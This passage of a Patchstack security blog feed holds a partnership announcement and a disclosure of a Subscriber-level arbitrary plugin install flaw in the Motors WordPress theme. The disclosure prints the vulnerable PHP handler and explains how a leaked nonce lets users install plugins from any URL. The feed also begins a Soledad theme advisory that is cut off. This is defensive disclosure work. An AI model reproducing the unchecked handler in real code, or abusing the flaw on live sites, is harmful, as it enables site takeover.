                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M54.1637 8.48438C55.6091 8.48438 56.7814 9.62431 56.7814 11.0298C56.7814 12.4353 55.6091 13.5753 54.1637 13.5753C52.7182 13.5753 51.5459 12.4353 51.5459 11.0298C51.5459 9.62431 52.7182 8.48438 54.1637 8.48438Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M37.8077 5.51515C38.347 4.032 39.8011 2.9697 41.511 2.9697C43.2208 2.9697 44.6754 4.032 45.2147 5.51515H37.8077ZM48.4917 6.78788C48.4917 3.03885 45.3665 0 41.511 0C37.6559 0 34.5303 3.03885 34.5303 6.78788C34.5303 10.5365 37.6559 13.5758 41.511 13.5758C44.3569 13.5758 46.8045 11.9199 47.8918 9.54545H44.2269C43.5214 10.2022 42.5646 10.6061 41.511 10.6061C39.7209 10.6061 38.2108 9.44109 37.7379 7.84848H48.407C48.4629 7.50273 48.4917 7.14849 48.4917 6.78788Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M24.4963 0C20.6412 0 17.5156 3.03927 17.5156 6.78788V13.5758H20.5697V12.4006L20.5701 12.401L20.5697 6.78788L20.5714 6.67503C20.6325 4.61873 22.3663 2.9697 24.4963 2.9697C26.6651 2.9697 28.423 4.67897 28.423 6.78788V12.4006L28.4234 12.4002L28.423 13.5758H31.477V6.78788L31.4757 6.65424C31.4024 2.96715 28.3056 0 24.4963 0Z&quot; fill=&quot;white&quot;/&gt;
                &lt;path fill-rule=&quot;evenodd&quot; clip-rule=&quot;evenodd&quot; d=&quot;M7.48069 10.6061C5.31188 10.6061 3.55405 8.89679 3.55405 6.78788C3.55405 4.67897 5.31188 2.9697 7.48069 2.9697C9.64951 2.9697 11.4073 4.67897 11.4073 6.78788C11.4073 8.89679 9.64951 10.6061 7.48069 10.6061ZM7.48069 0C3.62561 0 0.5 3.03927 0.5 6.78788C0.5 10.5369 3.62561 13.5758 7.48069 13.5758C11.3358 13.5758 14.4614 10.5369 14.4614 6.78788C14.4614 3.03927 11.3358 0 7.48069 0Z&quot; fill=&quot;white&quot;/&gt;
            &lt;/g&gt;
            &lt;defs&gt;
                &lt;clipPath id=&quot;clip0_6604_6431&quot;&gt;
                    &lt;rect width=&quot;113&quot; height=&quot;14&quot; fill=&quot;white&quot; transform=&quot;translate(0.5)&quot;/&gt;
                &lt;/clipPath&gt;
            &lt;/defs&gt;
        &lt;/svg&gt;
        &lt;img decoding=&quot;async&quot; src=&quot;https://patchstack.com/wp-content/uploads/2025/09/logo-xcloud.png&quot; class=&quot;a-fade-up block-hosts-logos__image&quot;&gt;
        &lt;svg height=&quot;40&quot; viewBox=&quot;0 0 160 40&quot; width=&quot;160&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; class=&quot;block-hosts-logos__image&quot;&gt;
            &lt;g fill=&quot;#fff&quot;&gt;
                &lt;path d=&quot;m77.4866 16.2873c.6091-.9537 1.4371-1.7483 2.4152-2.3177.9734-.5817 2.089-.8826 3.2231-.8691v5.8273h-1.5164c-1.3736 0-2.4041.3003-3.0917.901-.6876.5802-1.031 1.6105-1.0302 3.091v8.34h-5.5081v-17.9665h5.5081z&quot;/&gt;
                &lt;path d=&quot;m104.432 13.292-10.135 23.8281h-5.8568l2.9161-6.4741-7.3106-17.354h6.1515l4.1575 11.2371 4.1194-11.2371z&quot;/&gt;
                &lt;path d=&quot;m112.124 31.5163c-1.567 0-2.962-.2681-4.186-.8041-1.223-.536-2.19-1.266-2.899-2.19-.696-.9128-1.11-2.0095-1.191-3.1548h5.442c.028.3003.119.5912.269.8528.15.2617.355.4879.6.6632.516.3855 1.15.5786 1.901.5795.687 0 1.213-.1289 1.578-.3867.178-.1145.324-.2719.425-.4576.102-.1858.155-.394.155-.6055 0-.5139-.269-.8896-.806-1.1269-.536-.257-1.405-.536-2.608-.8372-1.092-.2426-2.168-.5542-3.221-.9329-.855-.3415-1.617-.8823-2.222-1.5774-.623-.73-.934-1.7068-.933-2.9302-.01-.9969.282-1.9736.837-2.8013.58-.8577 1.417-1.5336 2.511-2.0279 1.118-.4911 2.438-.7366 3.962-.7366 2.255 0 4.026.5582 5.313 1.6744 1.31 1.1155 2.061 2.5967 2.255 4.4438h-5.088c-.033-.2911-.123-.5727-.267-.8277-.144-.2551-.338-.4784-.571-.6564-.45-.365-1.051-.5475-1.804-.5475-.643 0-1.137.1289-1.48.3866-.165.1078-.299.2563-.39.4312-.09.1749-.134.3702-.126.5669 0 .5155.268.9018.805 1.1588.558.2578 1.417.5155 2.579.7733 1.106.2712 2.192.6152 3.252 1.03.857.3348 1.611.8869 2.188 1.6019.644.7292.977 1.7166.999 2.9621.011 1.0168-.306 2.0101-.903 2.8332-.582.8176-1.43 1.4637-2.544 1.9383-1.096.4706-2.373.7055-3.832.7047z&quot;/&gt;
                &lt;path d=&quot;m131.82 26.5914v4.6647h-2.801c-1.995 0-3.55-.4824-4.666-1.4473-1.115-.9869-1.674-2.586-1.676-4.7973v-7.1468h-2.191v-4.5702h2.189v-2.9105l5.483-1.47311h.026v4.38361h3.605v4.5702h-3.602v7.2144c0 .534.122.9219.384 1.1563.261.2345.688.356 1.288.356z&quot;/&gt;
                &lt;path d=&quot;m160 7.48682v23.82568h-5.509v-22.35016l5.507-1.47552z&quot;/&gt;
                &lt;path d=&quot;m70.6377 31.2585h-6.731l-5.6223-7.3862-1.9756 2.4981v4.8881h-5.5093v-22.60054h5.5093v9.91624l7.5353-9.91624h6.4719l-8.7606 11.07624z&quot;/&gt;
                &lt;path d=&quot;m132.828 22.2446c0-1.8463.343-3.4671 1.03-4.8624.708-1.3912 1.663-2.4645 2.866-3.2199 1.207-.7525 2.604-1.1435 4.026-1.1269 1.267 0 2.372.2578 3.315.7734.91.4632 1.678 1.1639 2.222 2.0279v-2.5435h5.507v17.9666h-5.507v-2.5435c-.562.8602-1.339 1.5592-2.254 2.0279-.944.5156-2.049.7729-3.315.7721-1.412.0136-2.798-.3775-3.994-1.1269-1.202-.7725-2.157-1.8565-2.866-3.2518-.688-1.4166-1.031-3.0476-1.03-4.893zm13.461.0319c0-1.3732-.387-2.4572-1.159-3.2518-.351-.3838-.779-.6886-1.257-.8941-.478-.2056-.994-.3071-1.513-.2979-.54-.0074-1.075.0947-1.574.3-.498.2053-.95.5096-1.328.8944-.751.7726-1.127 1.8459-1.127 3.2199 0 1.3741.376 2.4695 1.127 3.2862.378.3843.83.6879 1.329.8926.499.2046 1.034.3061 1.573.2981.52.0096 1.036-.0917 1.513-.297.478-.2053.907-.51 1.258-.8937.772-.7971 1.158-1.8827 1.158-3.2567z&quot;/&gt;
                &lt;path d=&quot;m39.5916 8.61132-19.794 5.05628-19.78911611-5.05505 9.28739611-8.61255h21.01082z&quot;/&gt;
                &lt;path d=&quot;m39.6028 12.6978-17.8209 27.3021v-22.7516z&quot;/&gt;
                &lt;path d=&quot;m17.8197 17.2508v22.7491l-17.8197-27.3009z&quot;/&gt;
            &lt;/g&gt;
        &lt;/svg&gt;
    &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;
</content:encoded><category>Case Studies</category><author>Lana Rafaela</author></item><item><title>Seahawk Media Partners with Patchstack to Strengthen WordPress Security</title><link>https://patchstack.com/articles/seahawk-media-partners-with-patchstack-to-strengthen-wordpress-security/</link><guid isPermaLink="true">https://patchstack.com/articles/seahawk-media-partners-with-patchstack-to-strengthen-wordpress-security/</guid><description>We’re happy to share that Seahawk Media, a large WordPress agency serving businesses and hosting providers worldwide, has started using Patchstack to secure client websites. Seahawk Media specialises in white-label WordPress services for businesses and hosts, including development, maintenance, and ongoing support. Their maintenance plans are used to manage and protect a large number of […]
</description><pubDate>Wed, 07 Jan 2026 13:51:26 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re happy to share that &lt;a href=&quot;https://seahawkmedia.com/&quot;&gt;Seahawk Media&lt;/a&gt;, a large WordPress agency serving businesses and hosting providers worldwide, has started using Patchstack to &lt;strong&gt;secure client websites.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Seahawk Media specialises in white-label WordPress services for businesses and hosts, including development, maintenance, and ongoing support. Their maintenance plans are used to manage and protect a large number of WordPress sites on behalf of their partners, and they’ve now become stronger with the addition of Patchstack. &lt;/p&gt;


&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Security is non-negotiable for us. Patchstack provides us with real-time visibility and confidence that our clients’ WordPress sites are protected at scale, without adding operational complexity.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/1761077266716.jpeg&quot; class=&quot;wp-image-25047&quot; alt=&quot;&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/1761077266716.jpeg 200w, https://wp.patchstack.com/wp-content/uploads/2026/01/1761077266716-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 200px) 100vw, 200px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Gautam Khorana, COO &amp;amp; Co-founder @ Seahawk Media&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;Stronger security for Seahawk Media’s customers with Patchstack&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Seahawk Media is now offering Patchstack to select maintenance plan customers at no additional cost. This ensures their &lt;strong&gt;WordPress sites are continuously protected against known vulnerabilities,&lt;/strong&gt; not just cleaned after an incident. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack adds an extra layer of security by monitoring vulnerable plugins and themes and preventing attacks before they happen.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In addition to enhanced security, Seahawk Care Plans also provide Site Speed Optimization and Image Optimization, keeping websites fast, efficient, and always ready for their customers’ audience.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://seahawkmedia.com/services/website-care/&quot;&gt;Learn more about Seahawk Care Plans&lt;/a&gt;&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Patchstack also added after hack cleanups&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If a client’s site is compromised before installing Patchstack, Seahawk Media will perform the cleanup. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Once the site is successfully cleaned up and restored, they will install Patchstack to ensure no vulnerabilities exist and &lt;strong&gt;prevent future attacks&lt;/strong&gt;, reducing the risk of repeat incidents. &lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Helping agencies deliver better security&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;We’re excited to welcome Seahawk Media to the Patchstack ecosystem and help protect even more WordPress sites.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;And with Patchstack now part of their security stack, Seahawk Media is joining the ranks of WordPress professionals, agencies, and hosts &lt;strong&gt;moving from reactive cleanup to proactive protection&lt;/strong&gt; – exactly where WordPress security should be.&lt;/p&gt;
</content:encoded><category>Patchstack News</category><author>Lana Rafaela</author></item><item><title>Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites</title><link>https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/</link><guid isPermaLink="true">https://patchstack.com/articles/critical-arbitrary-file-upload-vulnerability-in-motors-theme-affecting-20k-sites/</guid><description>This blog post is about a Subscriber+ arbitrary file upload vulnerability in the Motors theme. If you’re a Motors theme user, please update to at least version 5.6.82. This vulnerability was discovered and reported by Patchstack Alliance community member Denver Jackson. About Motors theme The Motors theme, with over 20,000 active installations, is a theme […]
</description><pubDate>Wed, 17 Dec 2025 10:24:54 GMT</pubDate><content:encoded>


&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is about a Subscriber+ arbitrary file upload vulnerability in the Motors theme. If you’re a Motors theme user, please update to at least version &lt;strong&gt;5.6.82.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;This vulnerability was discovered and reported by &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Alliance community&lt;/a&gt; member &lt;a href=&quot;https://vdp.patchstack.com/database/researchers/b763b9c4-f573-4dca-acba-c29c8b488424&quot;&gt;Denver Jackson&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;✌️ Our users are protected from this vulnerability. Are yours?&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Web developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Mitigate vulnerabilities in real-time without changing code.&lt;/p&gt;
            &lt;a href=&quot;/pricing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;See pricing&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Identify vulnerabilities in your plugins and get recommendations for fixes.&lt;/p&gt;
            &lt;a href=&quot;/auditing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Request audit&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting companies&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users, improve server health and earn additional revenue.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About Motors theme&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The &lt;a href=&quot;https://themeforest.net/item/motors-automotive-cars-vehicle-boat-dealership-classifieds-wordpress-theme/13987211&quot;&gt;Motors&lt;/a&gt; theme, with over 20,000 active installations, is a theme specifically designed for building automotive websites and was developed by&lt;a href=&quot;https://themeforest.net/user/pencidesign&quot;&gt; StylemixThemes&lt;/a&gt;.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;590&quot; height=&quot;300&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/motors-theme.jpg&quot; alt=&quot;&quot; class=&quot;wp-image-24969&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/motors-theme.jpg 590w, https://wp.patchstack.com/wp-content/uploads/2025/12/motors-theme-300x153.jpg 300w&quot; sizes=&quot;auto, (max-width: 590px) 100vw, 590px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The theme is a popular, feature-rich WordPress theme and plugin designed for building automotive websites, specifically car dealerships, rental sites, and classified listings for vehicles (cars, bikes, boats, etc.).&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;The security vulnerability&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In versions &lt;strong&gt;5.6.81&lt;/strong&gt; and below, the theme is vulnerable to arbitrary file upload, due to allowing any logged-in user to arbitrarily install and activate plugins on the site. This means any Subscriber or higher user is able to inject malicious code through the plugin installation and activation and leading to a full site takeover.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This vulnerability has been patched in version &lt;strong&gt;5.6.82&lt;/strong&gt; and is tracked with &lt;strong&gt;CVE-2025-64374&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The root cause of the issue lies in the &lt;strong&gt;&lt;em&gt;mvl_theme_install_base&lt;/em&gt;&lt;/strong&gt; function:&lt;/p&gt;



&lt;pre title=&quot;inc/install_plugin/install_plugin.php&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;add_action( &amp;#39;wp_ajax_mvl_theme_install_base&amp;#39;, &amp;#39;mvl_theme_install_base&amp;#39; );

function mvl_theme_install_base() {
	check_ajax_referer( &amp;#39;mvl_theme_install_base&amp;#39;, &amp;#39;nonce&amp;#39; );

	$response = array();

	$plugin_url  = sanitize_text_field( $_GET[&amp;#39;plugin&amp;#39;] );
	$plugin_slug = &amp;#39;motors-car-dealership-classified-listings&amp;#39;;

	ob_start();
	require_once ABSPATH . &amp;#39;wp-load.php&amp;#39;;
	require_once ABSPATH . &amp;#39;wp-admin/includes/class-wp-upgrader.php&amp;#39;;
	require_once ABSPATH . &amp;#39;wp-admin/includes/class-plugin-upgrader.php&amp;#39;;
	require_once ABSPATH . &amp;#39;wp-admin/includes/plugin-install.php&amp;#39;;
	require_once ABSPATH . &amp;#39;wp-admin/includes/plugin.php&amp;#39;;
	require_once ABSPATH . &amp;#39;wp-admin/includes/class-wp-upgrader-skin.php&amp;#39;;
	require_once get_template_directory() . &amp;#39;/inc/install_plugin/stm_upgrader_skin.php&amp;#39;;

	$plugin_upgrader = new Plugin_Upgrader( new Motors_Theme_Plugin_Upgrader_Skin( array( &amp;#39;plugin&amp;#39; =&amp;gt; $plugin_slug ) ) );

	$installed = ( mvl_theme_check_plugin_active( $plugin_slug ) ) ? true : $plugin_upgrader-&amp;gt;install( $plugin_url );
	mvl_theme_activate_plugin( $plugin_slug );

	$response[&amp;#39;message&amp;#39;] = ob_get_clean();
	$response[&amp;#39;url&amp;#39;]     = admin_url( &amp;#39;admin.php?page=mvl_plugin_settings&amp;#39; );

	wp_send_json( $response );
}&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;First, we notice that there is a nonce check using the &lt;strong&gt;check_ajax_referer&lt;/strong&gt; function. However, the &lt;strong&gt;mvl_theme_install_base&lt;/strong&gt; nonce value itself can be fetched from Subscriber role users on the wp-admin base page.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Since there is no proper permission check on the function, users can just supply arbitrary plugin code from any URL via the &lt;strong&gt;$_GET[‘plugin’]&lt;/strong&gt; parameter, and the plugin will be installed or activated.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading has-text-align-left&quot;&gt;&lt;strong&gt;The patch&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In version &lt;strong&gt;5.6.82&lt;/strong&gt;, the vulnerability is mitigated with the addition of a &lt;em&gt;current_user_can&lt;/em&gt; permissions check, ensuring that only legitimate, privileged users are allowed to use this AJAX action.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;463&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/image-1-1024x463.png&quot; alt=&quot;&quot; class=&quot;wp-image-24978&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/image-1-1024x463.png 1024w, https://wp.patchstack.com/wp-content/uploads/2025/12/image-1-300x136.png 300w, https://wp.patchstack.com/wp-content/uploads/2025/12/image-1-768x348.png 768w, https://wp.patchstack.com/wp-content/uploads/2025/12/image-1-1536x695.png 1536w, https://wp.patchstack.com/wp-content/uploads/2025/12/image-1.png 1761w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nonce validation is essential for any site functionality that can cause changes, and a lack of nonce validation can lead to other vulnerabilities, such as CSRF attacks.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;However, like the &lt;a href=&quot;https://developer.wordpress.org/reference/functions/check_ajax_referer/&quot;&gt;WordPress developer documentation&lt;/a&gt; says:&lt;/p&gt;



&lt;blockquote class=&quot;wp-block-quote is-layout-flow wp-block-quote-is-layout-flow&quot;&gt;
&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nonces should never be relied on for authentication, authorization, or access control. Protect your functions using &lt;a href=&quot;https://developer.wordpress.org/reference/functions/current_user_can/&quot;&gt;current_user_can()&lt;/a&gt; and always assume that nonces can be compromised.&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Even when limited to only showing to the correct users, a nonce is not a substitute for proper user validation, as the risk of compromise always exists. And when shown more broadly, such as in this case, it leads to a common problem in many WordPress components, where access control is only limited by who can click the &lt;em&gt;View Page Source&lt;/em&gt; button and find a nonce hiding in there.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Privileged functionality should &lt;strong&gt;always&lt;/strong&gt; be specifically validating permissions, and cannot just assume that only the correct users will have the needed nonce.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Want to learn more about finding and fixing vulnerabilities?&lt;/h2&gt;














&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Featured</category><category>Security Advisories</category><author>Rafie Muhammad</author></item><item><title>Privilege Escalation Vulnerability in Soledad Theme Affecting 50k+ Sites</title><link>https://patchstack.com/articles/privilege-escalation-vulnerability-in-soledad-theme-affecting-50k-sites/</link><guid isPermaLink="true">https://patchstack.com/articles/privilege-escalation-vulnerability-in-soledad-theme-affecting-50k-sites/</guid><description>This blog post is about an Subscriber+ privilege escalation vulnerability in the Soledad theme. If you’re a Soledad theme user, please update to at least version 8.6.9.1. This vulnerability was discovered and reported by Patchstack Alliance community member Denver Jackson. About Soledad theme The Soledad theme, which has over 57,000 active sales, is a general-purpose […]
</description><pubDate>Wed, 10 Dec 2025 19:27:45 GMT</pubDate><content:encoded>


&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is about an Subscriber+ privilege escalation vulnerability in the Soledad theme. If you’re a Soledad theme user, please update to at least version &lt;strong&gt;8.6.9.1.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;This vulnerability was discovered and reported by &lt;a href=&quot;https://patchstack.com/bug-bounty/&quot;&gt;Patchstack Alliance community&lt;/a&gt; member &lt;a href=&quot;https://vdp.patchstack.com/database/researchers/b763b9c4-f573-4dca-acba-c29c8b488424&quot;&gt;Denver Jackson&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;✌️ Our users are protected from this vulnerability. Are yours?&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Web developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Mitigate vulnerabilities in real-time without changing code.&lt;/p&gt;
            &lt;a href=&quot;/pricing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;See pricing&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Identify vulnerabilities in your plugins and get recommendations for fixes.&lt;/p&gt;
            &lt;a href=&quot;/auditing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Request audit&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting companies&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users, improve server health and earn additional revenue.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;About Soledad theme&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The Soledad theme, which has over 57,000 active sales, is a general-purpose WordPress theme sold by &lt;a href=&quot;https://themeforest.net/user/pencidesign&quot;&gt;PenciDesign&lt;/a&gt;.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;616&quot; height=&quot;760&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/68747470733a2f2f736f6c656461642e70656e636964657369676e2e6e65742f696d677468656d65666f726573742f412d466561747572656476382e6a7067.jpeg&quot; alt=&quot;A promotional image advertising the Soledad theme. The image is text content advertising that the theme is a &amp;quot;Top selling WP theme for Mulit-Purpose&amp;quot;&quot; class=&quot;wp-image-24929&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2025/12/68747470733a2f2f736f6c656461642e70656e636964657369676e2e6e65742f696d677468656d65666f726573742f412d466561747572656476382e6a7067.jpeg 616w, https://wp.patchstack.com/wp-content/uploads/2025/12/68747470733a2f2f736f6c656461642e70656e636964657369676e2e6e65742f696d677468656d65666f726573742f412d466561747572656476382e6a7067-243x300.jpeg 243w&quot; sizes=&quot;auto, (max-width: 616px) 100vw, 616px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;The security vulnerability&lt;/strong&gt;&lt;/h2&gt;



